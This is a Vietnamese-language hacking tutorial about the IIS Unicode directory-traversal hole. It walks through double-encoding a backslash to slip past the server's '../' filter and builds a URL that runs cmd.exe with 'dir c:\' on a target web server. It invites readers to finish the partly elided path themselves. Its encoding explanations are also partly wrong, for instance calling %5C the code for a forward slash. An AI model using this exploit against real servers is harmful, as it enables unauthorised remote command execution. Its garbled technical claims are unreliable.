Lệnh để đi đến một thư mục ở trên là
/../
Nếu bạn thiết kế bất kỳ web hay mã html nào thì chắc chắn bạn sẽ dùng được rất nhiều.
Vì thế ta chỉ đặt lệnh lẫn nhau, giống như sau
http://www.someserver.com/../../
Và bắt đầu truy cập vào ổ đĩa c (local) của server?
Tốt, ta bắt đầu khai thác ở đây, nhưng người tạo IIS lại muốn tránh phiền phức, bằng cách làm server từ chối loại yêu cầu này.
Vì thế ta phải làm gì đây?
Bạn có bao giờ thử download một file mà trong tên của nó có khoản trống chưa?
Bạn có nhận được thông báo là trình duyệt đã biến đổi khoản trống đó thành %20 không?
Hãy làm 1 ví dụ.
Nếu bạn gõ cái này trong trình duyệt:
http://www.someserver.com/iis Unicode hole.txt
Trình duyệt sẽ thay thế khoảng trống bằng %20 :
http://www.someserver.com/iis%20unicode%20hole.txt
Và sau đó mới cho phép bạn download file.
Đó là cái gì, và tại sao trình duyệt lại phải làm như thế?
Máy tính không thể hiểu được khoảng trống. Đơn giản là chúng không làm được vậy thôi.
%20 ở đây chính là Unicode cho ký tự ASCII mà ta hay gọi là “khoảng trống”.
Ký tự ASCII là những ký tự mà ta thấy trên màn hình khi dùng máy tính. Chỉ có một Unicode cho mỗi ký tự ASCII. Vì thế, khi bạn đưa một khoảng trống vào trình duyệt, nó phải được thay thế bằng cái gì mà cho máy tính có thể hiểu được trước khi nó bắt đầu tìm kiếm.
Từ khi trình duyệt biến đổi khoảng trống thành ký tự Unicode mới và gửi chúng đến web server mà có thể hiểu được, ta cũng có thể dùng ký tự Unicode để giải thích bất cứ thứ gì ta muốn, và web server sẽ cũng hiểu được chúng. Không chỉ với khoảng trống. Mà ta cũng có thể biến đổi lệnh DIRUP thành Unicode, và gửi chúng đến server. Ta cần biến đổi dấu gạch chéo (/) thành /../../ trong Unicode. Unicode của / là %5C .
Thật là tuyệt, thế nếu tôi chỉ cần gõ
+http://www.someserver.com/..%5C.. %5C/
thì có thể thấy host được không?
Nhưng có một vài lý do làm nó không hoạt động.
Đầu tiên, nếu bạn đã làm với c:\ (local) của server, bạn sẽ cần một vài thứ để đóng thư mục. Web server sẽ không làm như vậy cho bạn. Vì vậy chúng ta cần mở cmd.exe (dấu nhắc DOS) của server. Trong trình duyệt của bạn! Nhưng chúng ta sẽ quay lại vấn đề này sau.
Thứ hai, khi server giải mã /..%5C.. %5C/
Nó sẽ thành /../../ lại bị hạn chế, và sau đó từ chối yêu cầu. Vì thế ta cần phải làm gì, hay mã hoá Unicode đã mã hóa rồi một lần nữa. Có thể bạn sẽ không theo tôi ngay bây giờ, nhưng tôi sẽ cố gắng giải thích một lần nữa. Ta cần mã hoá mọi ký tự của chuỗi Unicode đã có.
Xem bảng dưới sẽ hiểu hơn.
ASCII..........................UNICODE
%................................ %25
5................................. %35
C................................. %43
Vì vậy khi ta mã hóa ký tự ASCII
/..%5C.. %5C/
Sang Unicode, ta được
..%25%35%43..%25%35%43
Và khi server đọc chuỗi ký tự này, nó sẽ trở lại
/..%5C.. %5C/ Đó không phải là lệnh DIRUP bình thường, nên nó được cho phép.
Nhưng có một vài thứ chúng ta cần biết. Như tôi đã đề cập ở trước, khi bạn kết nối đến một web server, thư mục root mặc định là wwwroot. Thư mục này những trang chính của site. Nhưng có những thư mục khác cho những trang web như yếu tố scripts. Những thư mục này có chứa file mà có khá nhiều thứ quan trọng trong web server. Vì vậy khi vận dụng server, ta cần làm nó từ thư mục mà ta đã có đặc quyền để làm. Điều này không khó; Tôi chỉ muốn bạn hiểu tại sao tôi thêm /scripts/ vào cuối URL.
Rốt cuộc, khi ta thi hành lệnh ở dấu nhắc server’s local dos prompt, ta cần thi hành một lệnh cũng trong cái này. Ta muốn hiển thị c:\ ? Dễ thôi; ta chỉ cần làm vài thủ thuật khác hơn bạn thường làm ở dấu nhắc dos.
Bắt đầu cmd.exe theo cách sau:
cmd.exe?/c+
? = Mọi thứ sau dòng đối số của lệnh.
/c = Thi hành lệnh, sau đó đóng cmd.exe (để cho nó không chạy mãi)
+ = Thay thế cho khoảng trống
Cuối cùng, toàn bộ lệnh ráp lại sẽ như sau:
+http://www.myserver.com/scripts/........../winnt/system32/cmd.exe?/c+dir+c:\
Chú thích: Tôi không viết đầy đủ mà chỉ......các bạn có thể tự ráp lại.Sorry  Ngoài ra vẫn còn nhiều đường dẫn vào c:\ của server. Hy vọng các bạn có thể tìm được.